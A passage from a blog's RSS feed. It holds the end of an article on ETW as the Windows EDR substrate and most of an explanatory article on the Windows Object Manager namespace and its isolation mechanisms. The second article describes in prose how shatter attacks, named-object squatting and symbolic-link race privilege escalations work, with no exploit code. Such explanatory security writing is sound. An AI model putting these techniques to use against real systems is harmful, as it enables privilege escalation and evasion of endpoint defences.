No. The provider&apos;s security descriptor admits only Antimalware-PPL signers loaded by an ELAM driver. A non-PPL `EnableTraceEx2` call against the EtwTi GUID returns `ERROR_ACCESS_DENIED` (the Microsoft Learn primary on EnableTraceEx2 [@ms-enabletraceex2] [@ms-enabletraceex2] documents the error code for insufficient-privilege callers; the PPL-specific gate that triggers it for EtwTi is described in [@fluxsec-eti]). The gate exists because an attacker who could trivially become an EtwTi consumer would have direct visibility into the kernel&apos;s view of every memory-modifying syscall on the host -- exactly the inventory needed to evade everything else.

Schema location. Manifest-based providers ship an out-of-band XML manifest registered with `wevtutil im`; consumers decode events against the system-installed manifest using TDH. TraceLogging providers carry the schema *inline* in each event payload as type-length-value triples; consumers decode without any registered manifest. TraceLogging events are larger because the schema bytes ride in the payload; manifest events have a smaller per-event size at the cost of installation friction. Both inherit the eight-session cap [@ms-about-etw], [@ms-tracelogging-about].

Sixty-four globally per [@ms-etw-sessions], with Windows 2000 limited to 32. Per-provider, manifest-based and TraceLogging providers admit up to 8 simultaneous sessions; classic and WPP providers admit only 1 [@ms-about-etw], [@ms-etw-config]. The runtime symptom of the per-provider 8-session cap binding is `ERROR_NO_SYSTEM_RESOURCES` from `EnableTraceEx2` [@ms-enabletraceex2]; the runtime symptom of the global 64-session cap binding is the same error from `StartTrace`.

No. EventPipe is a managed-runtime cross-platform analogue to ETW that shipped in .NET Core 3.0 (September 2019) and remains available in every later release including .NET 5+. It runs on Linux and macOS as well as Windows. On Windows, the kernel-mode providers and the EtwTi security substrate have no EventPipe equivalent; EventPipe is a complement to ETW for managed workloads, not a replacement. The Windows EDR substrate remains ETW; managed-runtime tracing has acquired an additional cross-platform path that does not displace it.
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;etw-event-tracing-for-windows-and-the-edr-substrate&quot; keyTerms={[
  { term: &quot;ETW&quot;, definition: &quot;Event Tracing for Windows: kernel-buffered observability bus introduced in Windows 2000.&quot; },
  { term: &quot;Provider&quot;, definition: &quot;A component that emits ETW events tagged with a GUID.&quot; },
  { term: &quot;Controller&quot;, definition: &quot;A component that creates, configures, and stops trace sessions.&quot; },
  { term: &quot;Consumer&quot;, definition: &quot;A component that reads events from a session in real time or from an .etl file.&quot; },
  { term: &quot;Manifest-based provider&quot;, definition: &quot;Vista-era ETW provider class with XML manifest schema and 8-session cap.&quot; },
  { term: &quot;TraceLogging&quot;, definition: &quot;Self-describing ETW provider class with inline TLV schema, shipped in Windows 10.&quot; },
  { term: &quot;EtwTi&quot;, definition: &quot;Microsoft-Windows-Threat-Intelligence: the kernel-emitted memory-syscall provider; PPL+ELAM-gated.&quot; },
  { term: &quot;Antimalware-PPL&quot;, definition: &quot;Signer level on the PPL lattice for antimalware services; gates EtwTi consumption.&quot; },
  { term: &quot;ELAM&quot;, definition: &quot;Early Launch Antimalware: driver class that gates the certificate inventory for permitted Antimalware-PPL binaries.&quot; },
  { term: &quot;BYOVD&quot;, definition: &quot;Bring Your Own Vulnerable Driver: load a known-vulnerable signed driver to obtain kernel primitive.&quot; },
  { term: &quot;Vulnerable Driver Blocklist&quot;, definition: &quot;Microsoft-maintained hash blocklist; default-on in Windows 11 22H2.&quot; },
  { term: &quot;Autologger&quot;, definition: &quot;Registry-persisted boot-time ETW session under HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\.&quot; }
]} /&amp;gt;&lt;/p&gt;
&lt;p&gt;ETW is now twenty-six years old. It started as a performance facility for Windows 2000 driver authors who could not afford &lt;code&gt;DbgPrint&lt;/code&gt; on production servers, and it became the substrate of every major Windows endpoint security product through a decade of unintended consequences. The Vista team that raised the per-provider session cap from 1 to 8 was thinking about ergonomics. The Windows 8.1 team that introduced Antimalware-PPL was thinking about Defender&apos;s hardening, not about future third-party EDRs. The team that shipped EtwTi in the Windows 10 RS-era understood the security stakes precisely. By 2026 those three decisions, taken in three different Microsoft contexts a decade apart, are the architecture of detection on the Windows endpoint -- and the reason the operator in the section 1 hook scene loses the round even when the patch works exactly as it should.&lt;/p&gt;
</content:encoded><category>etw</category><category>windows-internals</category><category>edr</category><category>security</category><category>kernel</category><category>detection-engineering</category><category>threat-intelligence</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>The Object Manager Namespace: The Hierarchical Filesystem Underneath Every Windows Security Boundary</title><link>https://paragmali.com/blog/the-object-manager-namespace/</link><guid isPermaLink="true">https://paragmali.com/blog/the-object-manager-namespace/</guid><description>A bottom-up tour of the Windows Object Manager namespace, the 1993 Cutler-era kernel data structure that every Windows security boundary quietly assumes.</description><pubDate>Mon, 11 May 2026 00:00:00 GMT</pubDate><content:encoded>
**The Windows Object Manager namespace is the kernel-resident, filesystem-shaped tree that every Windows security boundary quietly assumes.** Every named kernel object -- processes, threads, sections, files, registry keys, tokens, mutants, semaphores, ALPC ports, devices, drivers, jobs, silos -- lives somewhere under `\`. Six generations of isolation primitives (Session 0 isolation, AppContainer lowbox, integrity levels, VBS trustlets, Server Silos, and the `ObRegisterCallbacks` EDR sensor surface) are all path rewrites, per-directory ACLs, or kernel callbacks layered on the same 1993 Cutler-era four-piece structure. This article builds the namespace bottom-up -- `OBJECT_HEADER`, `OBJECT_TYPE`, `ParseProcedure`, `OBJECT_DIRECTORY` -- walks the 2026 top-level directory atlas on Windows 11 25H2, surveys the exploit tradition (symbolic-link redirection, namespace squatting, bait-and-switch on `\??` and `\Device`, arbitrary directory creation), and closes on the EDR pivot in `ObRegisterCallbacks`.
&lt;h2&gt;1. The path that isn&apos;t a path&lt;/h2&gt;
&lt;p&gt;Open &lt;code&gt;WinObj.exe&lt;/code&gt; as administrator on any Windows 11 25H2 machine (&lt;a href=&quot;https://en.wikipedia.org/wiki/Windows_11_version_history&quot; rel=&quot;noopener&quot;&gt;Windows 11 version history&lt;/a&gt;). For about ten seconds the screen looks like a filesystem. The root is named &lt;code&gt;\&lt;/code&gt;. Below it sit folders called &lt;code&gt;\Device&lt;/code&gt;, &lt;code&gt;\BaseNamedObjects&lt;/code&gt;, &lt;code&gt;\Sessions&lt;/code&gt;, &lt;code&gt;\RPC Control&lt;/code&gt;, &lt;code&gt;\KnownDlls&lt;/code&gt;, and &lt;code&gt;\ObjectTypes&lt;/code&gt;. Double-click any of them and you see children. Right-click any node and you can read a security descriptor. This is essentially the same UI a 1996 SysAdmin would have recognised; the tool first shipped that year as part of Mark Russinovich and Bryce Cogswell&apos;s Winternals [@en-wikipedia-mark-russinovich], and the current build is a Microsoft-signed Sysinternals binary whose navigation surface has not been redesigned in three decades [@ms-winobj].&lt;/p&gt;
&lt;p&gt;Navigate to &lt;code&gt;\Sessions\1\AppContainerNamedObjects&lt;/code&gt; and the picture starts to fracture. Inside that directory you will find one subdirectory per running AppContainer-sandboxed app, each named after a long Security Identifier of the form &lt;code&gt;S-1-15-2-...&lt;/code&gt;. Pick the one belonging to the Microsoft Edge renderer process you are reading this article in. Every named mutant, event, section, semaphore, and ALPC port the renderer can ever name lives inside that one subdirectory. The renderer cannot escape it. Not because of a permission check that comes second, but because the kernel rewrites every name the renderer asks for, transparently, before path resolution begins. Microsoft&apos;s AppContainer Isolation documentation [@ms-appcontainer-isolation] calls this &quot;sandboxing the application kernel objects.&quot;&lt;/p&gt;
&lt;p&gt;This tree is not a filesystem. There is no disk persistence; nothing under &lt;code&gt;\&lt;/code&gt; survives a reboot. It is not the Windows registry either; the registry is a separate subsystem with its own hive format that hangs off the namespace only through a parse procedure on the &lt;code&gt;Key&lt;/code&gt; object type. What this tree is, instead, is the Object Manager namespace: the in-memory, kernel-resident, hierarchical name service that the Windows kernel uses to locate every nameable kernel object [@ms-managing-kernel-objects]. Its top-level directories are catalogued in the driver kit&apos;s Object Directories reference [@ms-object-directories].&lt;/p&gt;

The Windows Object Manager, internally called `Ob`, is a kernel-mode subsystem of the Windows Executive that manages the lifetime, naming, security, and accounting of every resource the kernel exposes to user mode as a named object. Wikipedia summarises it as a &quot;subsystem implemented as part of the Windows Executive which manages Windows resources... each [resource] reside[s] in a namespace for categorization&quot; [@en-wikipedia-object-manager].
&lt;p&gt;Here is the thesis the rest of this article spends nine thousand words unpacking. Every Windows security boundary you have read about -- Session 0 isolation, Mandatory Integrity Control, AppContainer, the Virtualization-Based Security trustlets, Server Silos and Windows containers, the EDR sensor surface that fires when something opens a handle to &lt;code&gt;lsass.exe&lt;/code&gt; -- is &lt;em&gt;physically realised&lt;/em&gt; in this tree. Each boundary is either a path rewrite at lookup time, a per-directory ACL, a token-keyed name substitution, or a kernel callback registered against an &lt;code&gt;OBJECT_TYPE&lt;/code&gt;. The boundaries you read about elsewhere are the &lt;em&gt;policies&lt;/em&gt;; this tree is the &lt;em&gt;mechanism&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;The Object Manager has shipped without architectural change for thirty-three years. Whose decision was that? And why did a 1993 data structure survive untouched while the GUI, the driver model, the security subsystem, and the boot path around it were rewritten more than once?&lt;/p&gt;
&lt;h2&gt;2. Where the namespace came from&lt;/h2&gt;
&lt;p&gt;The decision belongs to Dave Cutler. In 1988 Microsoft hired Cutler away from Digital Equipment Corporation. The Wikipedia biography records the line of operating systems Cutler had developed at DEC: &quot;RSX-11M, VAXELN, VMS, and MICA&quot; [@en-wikipedia-dave-cutler]. Three of those shipped commercially; the fourth, MICA, was cancelled with the Prism RISC program. Cutler walked out, and Microsoft signed him with a charter from Bill Gates to build a portable next-generation kernel that could host the existing Windows API on top of a 32-bit, multi-architecture base [@en-wikipedia-architecture-of-windows-nt]. Cutler brought a small team of DEC veterans with him.&lt;/p&gt;
&lt;p&gt;The Object Manager is one of that team&apos;s earliest design decisions. The architectural bet was to &lt;em&gt;unify every named kernel object&lt;/em&gt; under one filesystem-shaped tree, with each type carrying a parse procedure so a single family of syscalls (&lt;code&gt;NtCreateFile&lt;/code&gt;, &lt;code&gt;NtOpenSection&lt;/code&gt;, &lt;code&gt;NtOpenProcess&lt;/code&gt;, and so on) could address files, registry keys, processes, ports, sections, drivers, devices, jobs, and synchronization primitives using the same path-walk algorithm. That was an unusual choice in 1989. VMS had a more typed, less unified resource broker. Mach treated kernel objects as capability-style port rights and never gave them a hierarchical name. Cutler&apos;s choice was, at heart, a Plan-9-style &quot;every named resource is a filesystem path&quot; idea, imported into a Windows shell.Plan 9 from Bell Labs (Pike, Thompson, et al.) was the academic articulation of the &quot;everything is a path&quot; property: every kernel-named resource, including processes and network connections, surfaced as a file under a 9P-served namespace. Plan 9 never reached commercial scale, but its design idea reached production through NT, and through Linux&apos;s /proc, /sys, and FUSE.&lt;/p&gt;
&lt;p&gt;Windows NT 3.1 shipped on July 27, 1993. It was &quot;Microsoft&apos;s first 32-bit operating system,&quot; supported on IA-32, DEC Alpha, and MIPS [@en-wikipedia-windows-nt-3-1]. The Object Manager was already one of its executive subsystems, sitting alongside the I/O Manager, the Memory Manager, the Process Manager, the Security Reference Monitor, and the Local Procedure Call subsystem [@en-wikipedia-architecture-of-windows-nt]. The four pieces this article will rebuild from scratch -- the &lt;code&gt;OBJECT_HEADER&lt;/code&gt; that prefixes every object in memory, the &lt;code&gt;OBJECT_TYPE&lt;/code&gt; singleton that owns each type&apos;s method table, the &lt;code&gt;ParseProcedure&lt;/code&gt; that delegates path resolution to the owning subsystem, and the &lt;code&gt;OBJECT_DIRECTORY&lt;/code&gt; hash table that maps names to objects -- were all in the NT 3.1 kernel. None of them has been rearchitected since.&lt;/p&gt;
&lt;p&gt;That same year, Microsoft Press published &lt;em&gt;Inside Windows NT&lt;/em&gt;, written by technical writer Helen Custer with a Foreword by Cutler himself. The book&apos;s Object Manager chapter is the canonical pre-2000 description of the namespace, cited on the Sysinternals WinObj page [@ms-winobj] as &quot;Helen Custer&apos;s &lt;em&gt;Inside Windows NT&lt;/em&gt; provides a good overview of the Object Manager namespace.&quot; Custer&apos;s book has been out of print for two decades, but the citation chain through Russinovich&apos;s tool is durable.&lt;/p&gt;
&lt;p&gt;Three years later, in 1996, Russinovich and Cogswell co-founded Winternals and released WinObj 1.0 [@en-wikipedia-mark-russinovich]. WinObj was the first publicly distributed tool to walk &lt;code&gt;\&lt;/code&gt; from user mode, using the native &lt;code&gt;NtOpenDirectoryObject&lt;/code&gt; and &lt;code&gt;NtQueryDirectoryObject&lt;/code&gt; syscalls that the Object Manager exposed through NTDLL [@ms-winobj]. The following year, Russinovich&apos;s October 1997 &lt;em&gt;Windows IT Pro&lt;/em&gt; column &quot;Inside the Object Manager&quot; gave the namespace its first treatment in the trade press. The original URL did not survive changes to TechTarget&apos;s web property portfolio in 2025 (TechTarget was acquired by Informa PLC in 2025), but the WinObj page still cites the column by name as &quot;Mark&apos;s October 1997 [WindowsITPro Magazine] column, &apos;Inside the Object Manager&apos;.&quot;The Russinovich 1997 column has no surviving direct URL because the URL did not survive changes to TechTarget&apos;s web property portfolio in 2025. The most accessible surviving citation is through the WinObj page itself. The same archive failure also explains why Helen Custer&apos;s 1993 biography returns HTTP 404 on Wikipedia in 2026; the book (ISBN 1-55615-481-X) survives in used-book channels only.&lt;/p&gt;
&lt;p&gt;The line of book-length internals references that began with Custer continued through &lt;em&gt;Inside Windows 2000&lt;/em&gt; (third edition) and the &lt;em&gt;Windows Internals&lt;/em&gt; series that succeeded it. The 7th edition Part 1 was published by Microsoft Press in May 2017, authored by Russinovich, Alex Ionescu, and David A. Solomon [@microsoftpressstore-wininternals7-part1]; its Chapter 8 is the current canonical reference for the Object Manager. James Forshaw&apos;s April 2024 &lt;em&gt;Windows Security Internals&lt;/em&gt; [@nostarch-windows-security-internals] is the contemporary companion that ties the namespace into the access-check pipeline.&lt;/p&gt;
&lt;p&gt;The 1993 design assumed a single global namespace. One process tree, one &lt;code&gt;\BaseNamedObjects&lt;/code&gt;, one &lt;code&gt;\Windows\WindowStations\WinSta0&lt;/code&gt;, one &lt;code&gt;\??&lt;/code&gt; view of DOS device letters. Everyone shared everything. Did that assumption survive the Internet?&lt;/p&gt;
&lt;h2&gt;3. The pre-Vista namespace and how it broke&lt;/h2&gt;
&lt;p&gt;It did not. By the late 1990s every interactive Windows user was sharing a name service with every running service. The single-global-namespace assumption produced three distinct exploit classes, each rediscovered repeatedly between 1996 and 2007, and each ultimately closed only by architectural change.&lt;/p&gt;
&lt;p&gt;The most public failure was the &lt;em&gt;shatter attack&lt;/em&gt;. In August 2002 a researcher named Chris Paget published a paper titled &quot;Exploiting design flaws in the Win32 API for privilege escalation.&quot; Wikipedia&apos;s article on the disclosure preserves the chronology: &quot;Shatter attacks became a topic of intense conversation in the security community in August 2002 after the publication of Chris Paget&apos;s paper&quot; [@en-wikipedia-shatter-attack]. The proof-of-concept was about thirty lines. As an unprivileged interactive user, Paget sent a &lt;code&gt;WM_TIMER&lt;/code&gt; window message to a service&apos;s hidden window in the same &lt;code&gt;\Windows\WindowStations\WinSta0&lt;/code&gt; (which all services and all interactive users shared in pre-Vista Windows), with a callback parameter pointing to attacker-placed shellcode. The shellcode ran as SYSTEM.&lt;/p&gt;
&lt;p&gt;Microsoft&apos;s initial response, preserved in the Wikipedia article, was that &quot;the flaw lies in the specific, highly privileged service&quot;: a per-service bug, patch the services. That stance did not survive the structural-class argument. The exploit was not a bug in one service. It was a &lt;em&gt;property of the namespace&lt;/em&gt;: as long as services and users shared a window station and a &lt;code&gt;\BaseNamedObjects&lt;/code&gt;, any service that ever called a Windows API processing a message from its message queue was reachable from any logged-in user.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; A second class of pre-Vista failure was &lt;em&gt;named-object squatting&lt;/em&gt;. A low-privilege user pre-creates &lt;code&gt;\BaseNamedObjects\Some_Global_Event&lt;/code&gt; with a permissive DACL. A privileged service later calls &lt;code&gt;CreateEvent(&quot;Some_Global_Event&quot;)&lt;/code&gt; with default open-or-create semantics and ends up inheriting the squatter&apos;s object, security descriptor and all. This is not one service-author&apos;s bug; it is the consequence of every service-author trusting that names in a shared namespace would resolve to objects they themselves created. The pattern has been rediscovered approximately once a year for two decades. James Forshaw documents the contemporary named-pipe analog in his 2017 &quot;Named Pipe Secure Prefixes&quot; post [@tiraniddo-named-pipe-secure-prefixes], where the SMSS-created prefixes &lt;code&gt;\Device\NamedPipe\ProtectedPrefix\Administrators&lt;/code&gt;, &lt;code&gt;\Device\NamedPipe\ProtectedPrefix\LocalService&lt;/code&gt;, and &lt;code&gt;\Device\NamedPipe\ProtectedPrefix\NetworkService&lt;/code&gt; are TCB-privilege-gated -- only &lt;code&gt;smss.exe&lt;/code&gt; can create sibling protected prefixes, so a service that publishes its pipe below one of these prefixes inherits a DACL that low-privilege squatters cannot reach.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The third class was &lt;em&gt;symbolic-link redirection&lt;/em&gt;. The pre-Vista Object Manager exposed two kinds of user-creatable symbolic link: object-manager symbolic links inside &lt;code&gt;\??&lt;/code&gt; (the per-session DOS-devices view) and NTFS mount points on disk. The attack pattern was the same in both. A privileged process is asked to open a path the user controls part of. The user has pre-planted a symbolic link partway through the path that redirects the residual walk into a target the user could not otherwise write. The privileged process opens the redirected file and treats it as if it were the original.&lt;/p&gt;
&lt;p&gt;Forshaw&apos;s 2015 Project Zero post on the symbolic-link hardening generation is the canonical taxonomy: &quot;There are three types of symbolic links you can access from a low privileged user, Object Manager Symbolic Links, Registry Key Symbolic Links and NTFS Mount Points&quot; [@p0-symlink-mitigations]. His worked example for the Internet Explorer 11 EPM sandbox is CVE-2015-0055 [@nvd-cve-2015-0055], described in the post as &quot;an information disclosure issue in the IE EPM sandbox which abused symbolic links to bypass a security check.&quot;&lt;/p&gt;
&lt;p&gt;The aha moment from this section is the one Microsoft eventually conceded. The pre-Vista failure mode was not three independent bug families. It was &lt;em&gt;one&lt;/em&gt; structural problem -- a single global namespace shared by every principal -- with three faces. No amount of per-service patching could close it. The fix had to be architectural: the namespace itself had to be partitioned.The Interactive Services Detection Service (ISDS) was Vista&apos;s backward-compatibility hack for legacy services that drew GUIs into Session 0. ISDS displayed a &quot;An interactive service has requested attention&quot; prompt that let the user switch to Session 0 long enough to dismiss the dialog. It was deprecated in Windows 10 1803 and is the historical artifact of just how much pre-Vista code assumed services and users would share a window station.&lt;/p&gt;
&lt;p&gt;That fix took five years to ship. Windows Vista RTM was released on November 8, 2006 and General Availability arrived on January 30, 2007 [@en-wikipedia-windows-vista]. Vista did not ship one fix; it shipped three independent partition mechanisms in the same release window, because the structural failure had three faces and each face needed its own mechanism. The next section catalogues those mechanisms and the four additional generations of additive isolation that have built on them since.&lt;/p&gt;
&lt;h2&gt;4. Six generations of namespace isolation&lt;/h2&gt;
&lt;p&gt;The namespace itself has not been rearchitected since 1993. What has evolved, in six discrete generations between 1993 and 2026, is the set of &lt;em&gt;partition primitives&lt;/em&gt; layered on top: the mechanisms that let the kernel hide subtrees from particular callers, rewrite paths transparently for particular tokens, or invoke a registered watcher when a particular handle is created. Each generation closes a structural class. None has rendered its predecessor obsolete. On 2026 Windows 11 25H2 all six are simultaneously load-bearing.&lt;/p&gt;

flowchart LR
    G1[&quot;Gen 1&lt;br /&gt;NT 3.1, Jul 1993&lt;br /&gt;Single global namespace&quot;] --&amp;gt; G2
    G2[&quot;Gen 2&lt;br /&gt;Vista, Jan 2007 / SP1, Feb 2008&lt;br /&gt;Session 0 + MIC + ObRegisterCallbacks&quot;] --&amp;gt; G3
    G3[&quot;Gen 3&lt;br /&gt;Windows 8, Oct 2012&lt;br /&gt;AppContainer / Lowbox / per-package directory&quot;] --&amp;gt; G4
    G4[&quot;Gen 4&lt;br /&gt;Windows 10 RTM, Jul 2015&lt;br /&gt;VBS / IUM secure-kernel namespace&quot;] --&amp;gt; G5
    G5[&quot;Gen 5&lt;br /&gt;Windows Server 2016, Oct 2016&lt;br /&gt;Server Silos / silo-scoped views&quot;] --&amp;gt; G6
    G6[&quot;Gen 6&lt;br /&gt;MS15-090, Aug 2015 -&amp;gt;&lt;br /&gt;symbolic-link class hardening&quot;]
&lt;p&gt;Generation numbering is thematic (by isolation capability introduced) rather than strictly chronological. Gen 6 (MS15-090, August 11, 2015) predates Gen 5 (Windows Server 2016, October 12, 2016) by 14 months; the numbering reflects the logical layering of isolation mechanisms, not their calendar sequence.&lt;/p&gt;
&lt;h3&gt;4.1 Generation 2 -- Session 0 isolation, integrity levels, ObRegisterCallbacks&lt;/h3&gt;
&lt;p&gt;Vista shipped three mechanisms in one release window because the structural failure had three faces.&lt;/p&gt;
&lt;p&gt;The first was &lt;em&gt;Session 0 isolation&lt;/em&gt;. From Vista forward, services run in Session 0 alone; the first interactive logon starts at Session 1. Each session gets its own subtree at &lt;code&gt;\Sessions\&amp;lt;n&amp;gt;\BaseNamedObjects&lt;/code&gt;, &lt;code&gt;\Sessions\&amp;lt;n&amp;gt;\Windows\WindowStations&lt;/code&gt;, and &lt;code&gt;\Sessions\&amp;lt;n&amp;gt;\DosDevices&lt;/code&gt;. The Win32 &lt;code&gt;Local\&lt;/code&gt; prefix routes through &lt;code&gt;kernel32!BaseGetNamedObjectDirectory&lt;/code&gt; into the per-session BNO; &lt;code&gt;Global\&lt;/code&gt; routes into the shared &lt;code&gt;\BaseNamedObjects&lt;/code&gt; [@ms-termserv-kernel-object-namespaces]. The Wikipedia Shatter article preserves the architectural fix verbatim: &quot;Local user logins were moved from Session 0 to Session 1, thus separating the user&apos;s processes from system services that could be vulnerable&quot; [@en-wikipedia-shatter-attack]. After Vista an interactive user could no longer &lt;code&gt;SendMessage(WM_TIMER)&lt;/code&gt; into a service&apos;s hidden window because the user and the service no longer shared a window station.&lt;/p&gt;
&lt;p&gt;The second mechanism was &lt;em&gt;Mandatory Integrity Control&lt;/em&gt;. Vista introduced a new ACE type, &lt;code&gt;SYSTEM_MANDATORY_LABEL_ACE&lt;/code&gt;, attached to every object&apos;s security descriptor. Each token carries one of four integrity levels (Low S-1-16-4096, Medium S-1-16-8192, High S-1-16-12288, or System S-1-16-16384), and the Security Reference Monitor compares the requester&apos;s level against the object&apos;s level &lt;em&gt;after&lt;/em&gt; path resolution succeeds [@en-wikipedia-mandatory-integrity-control]. MIC is not a namespace partition. A Low-IL process and a Medium-IL process resolve the same &lt;code&gt;\BaseNamedObjects&lt;/code&gt; directory; only the open is denied at the leaf. The structural property MIC adds is that the leaf check is &lt;em&gt;unbypassable from user mode&lt;/em&gt;; the check fires regardless of which DACL the object carries.&lt;/p&gt;
&lt;p&gt;The third mechanism was &lt;code&gt;ObRegisterCallbacks&lt;/code&gt;. Microsoft&apos;s wdm.h documentation records the API&apos;s first ship date verbatim: &quot;Available starting with Windows Vista with Service Pack 1 (SP1) and Windows Server 2008&quot; [@ms-obregistercallbacks]. The API lets a KMCS-signed driver intercept handle creation and handle duplication on &lt;code&gt;PsProcessType&lt;/code&gt;, &lt;code&gt;PsThreadType&lt;/code&gt;, and the desktop object type. The registration carries an Altitude (a FltMgr-style collision key) and an array of &lt;code&gt;OB_OPERATION_REGISTRATION&lt;/code&gt; records [@ms-ob-callback-registration]. Pre-operation callbacks can strip access-mask bits before the handle is granted; post-operation callbacks fire for logging. The parallel API &lt;code&gt;PsSetCreateProcessNotifyRoutineEx&lt;/code&gt; [@ms-pssetcreateprocessnotifyroutineex] covers process creation. Together, these are the kernel-mode primitives every modern EDR product depends on; they ship inside the Object Manager itself and they are the reason an EDR knows when something opens a handle to &lt;code&gt;lsass.exe&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;4.2 Generation 3 -- AppContainer and the lowbox token&lt;/h3&gt;
&lt;p&gt;Windows 8 shipped on October 26, 2012 [@en-wikipedia-windows-8]. Modern / UWP apps downloaded from the Microsoft Store needed a sandbox finer-grained than per-session BNO. The Vista path rewriting in &lt;code&gt;kernel32!BaseGetNamedObjectDirectory&lt;/code&gt; happened in user mode, which made it the wrong layer for a sandbox: a hostile renderer could in principle bypass the user-mode rewrite. The new layer moved into the kernel.&lt;/p&gt;
&lt;p&gt;Each UWP / MSIX process runs under a special token type, the &lt;em&gt;AppContainer / LowBox token&lt;/em&gt; (referred to in kernel code as the &lt;em&gt;lowbox token&lt;/em&gt;), created by &lt;code&gt;NtCreateLowBoxToken&lt;/code&gt;. The token carries a &lt;code&gt;TOKEN_APPCONTAINER_INFORMATION&lt;/code&gt; block that names the process&apos;s package SID (&lt;code&gt;S-1-15-2-...&lt;/code&gt;) and an &lt;code&gt;AppContainerNumber&lt;/code&gt;. Inside &lt;code&gt;ObpLookupObjectName&lt;/code&gt;, &lt;em&gt;before&lt;/em&gt; the path is walked, the kernel checks whether the caller&apos;s token is a lowbox token; if it is, lookups of &lt;code&gt;\BaseNamedObjects\X&lt;/code&gt;, &lt;code&gt;\RPC Control\X&lt;/code&gt;, and other rewriteable paths get redirected into &lt;code&gt;\Sessions\&amp;lt;n&amp;gt;\AppContainerNamedObjects\&amp;lt;package-sid&amp;gt;\X&lt;/code&gt;. The user-mode caller never sees the rewrite. The package-SID directory is created by SYSTEM at process-creation time with a security descriptor that grants the package SID, and only the package SID, full access. Microsoft&apos;s wording is precise: AppContainer works by &quot;sandboxing the application kernel objects, the AppContainer environment prevents the application from influencing, or being influenced by, other application processes&quot; [@ms-appcontainer-isolation].&lt;/p&gt;

The AppInfo service, which is responsible for creating the new application, calls the undocumented API CreateAppContainerToken to do some internal housekeeping. Unfortunately this API creates object directories under the user&apos;s AppContainerNamedObjects object directory to support redirecting BaseNamedObjects and RPC endpoints by the OS. -- James Forshaw, Project Zero Issue 1550 [@p0-issue1550]
&lt;p&gt;The residual class the AppContainer model has not closed is the one Forshaw&apos;s August 30, 2018 Project Zero post [@p0-issue1550] documents: because the SYSTEM-side AppInfo service has to write into the user&apos;s AppContainerNamedObjects subtree to set up redirection, an unprivileged caller can race the directory creation and end up planting a symbolic link the SYSTEM service then follows. The class -- &quot;SYSTEM-privileged directory creation in user-controllable territory&quot; -- is the worked example of why &quot;the kernel rewrites the name&quot; is an isolation property only when the SYSTEM helpers also use the rewrite.&lt;/p&gt;
&lt;h3&gt;4.3 Generation 4 -- VBS trustlets and the IUM secure-kernel namespace&lt;/h3&gt;
&lt;p&gt;Windows 10 RTM shipped on July 29, 2015 [@en-wikipedia-windows-10-version-history]. The Virtualization-Based Security (VBS) feature set introduced a parallel object-manager-shaped namespace that lives in Virtual Trust Level 1 (VTL1) and is inaccessible to the VTL0 NT kernel. Inside VTL1 the Secure Kernel (&lt;code&gt;securekernel.exe&lt;/code&gt;) maintains its own root, its own type registry, and its own handle-table machinery. The VTL0 NT kernel can see &lt;em&gt;trustlet processes&lt;/em&gt; -- the per-trustlet user-mode containers running in Isolated User Mode (IUM) -- but it cannot reach into their secure-side state.&lt;/p&gt;
&lt;p&gt;Alex Ionescu&apos;s Black Hat USA 2015 talk Battle of SKM and IUM [@ionescu-bh2015-pdf] is the canonical inventory of the inbox Trustlet IDs at ship: Trustlet 0 is the Secure Kernel Process hosting Device Guard; Trustlet 1 is LSAISO.EXE for Credential Guard; Trustlet 2 is VMSP.EXE hosting the virtual TPM; Trustlet 3 is the vTPM provisioning trustlet. Each is identified by a Trustlet ID and reachable only through narrow Secure Kernel ALPC ports. The VBS Trustlets piece in this series unpacks the threat model.&lt;/p&gt;
&lt;h3&gt;4.4 Generation 5 -- Server Silos and the silo-scoped namespace&lt;/h3&gt;
&lt;p&gt;Windows Server 2016 shipped on October 12, 2016 [@en-wikipedia-windows-server-2016]. Microsoft needed a Linux-namespaces equivalent so that container runtimes -- Docker, containerd, and the Azure Kubernetes Service Windows-node pods that followed -- could host adjacent workloads on one kernel. The answer was &lt;em&gt;Server Silo&lt;/em&gt;: a new &lt;code&gt;OBJECT_TYPE&lt;/code&gt; registered alongside &lt;code&gt;Job&lt;/code&gt;, &lt;code&gt;Process&lt;/code&gt;, and &lt;code&gt;Thread&lt;/code&gt;, that carries its own &lt;code&gt;RootDirectory&lt;/code&gt;, &lt;code&gt;DosDevicesDirectory&lt;/code&gt;, and &lt;code&gt;ServerSiloGlobals&lt;/code&gt;. A process attached to a silo via &lt;code&gt;PsAttachSiloToCurrentThread&lt;/code&gt; sees the silo&apos;s namespace as its root; the silo&apos;s &lt;code&gt;\GLOBAL??\C:&lt;/code&gt; resolves to the silo&apos;s &lt;code&gt;\Device\HarddiskVolume*&lt;/code&gt;, which is a different &lt;code&gt;Device&lt;/code&gt; object from the host&apos;s. Job objects [@ms-job-objects] provide the cgroups-equivalent resource-accounting dimension; the Silo type builds on top.&lt;/p&gt;
&lt;p&gt;The canonical reverse-engineering reference is Daniel Prizmant&apos;s July 2020 Unit 42 writeup, which spells out the architecture: &quot;job objects are used in a similar way control groups (cgroups) are used in Linux, and... server silo objects were used as a replacement for namespaces support in the kernel&quot; [@unit42-rev-eng-windows-containers].&lt;/p&gt;
&lt;p&gt;The companion piece, Prizmant&apos;s June 2021 &lt;em&gt;Siloscape&lt;/em&gt; [@unit42-siloscape], is the first known malware family that escapes the silo boundary: Prizmant named the malware &quot;Siloscape (sounds like silo escape) because its primary goal is to escape the container, and in Windows this is implemented mainly by a server silo.&quot; James Forshaw&apos;s April 2021 Project Zero post &lt;em&gt;Who Contains the Containers?&lt;/em&gt; [@p0-who-contains-containers] is the four-LPE companion disclosure. Microsoft&apos;s standing position is that Server Silo is not a security boundary; the Hyper-V Container, which adds a Hyper-V VM around the container&apos;s silo, is the security-boundary product.&lt;/p&gt;
&lt;h3&gt;4.5 Generation 6 -- the symbolic-link hardening continuum&lt;/h3&gt;
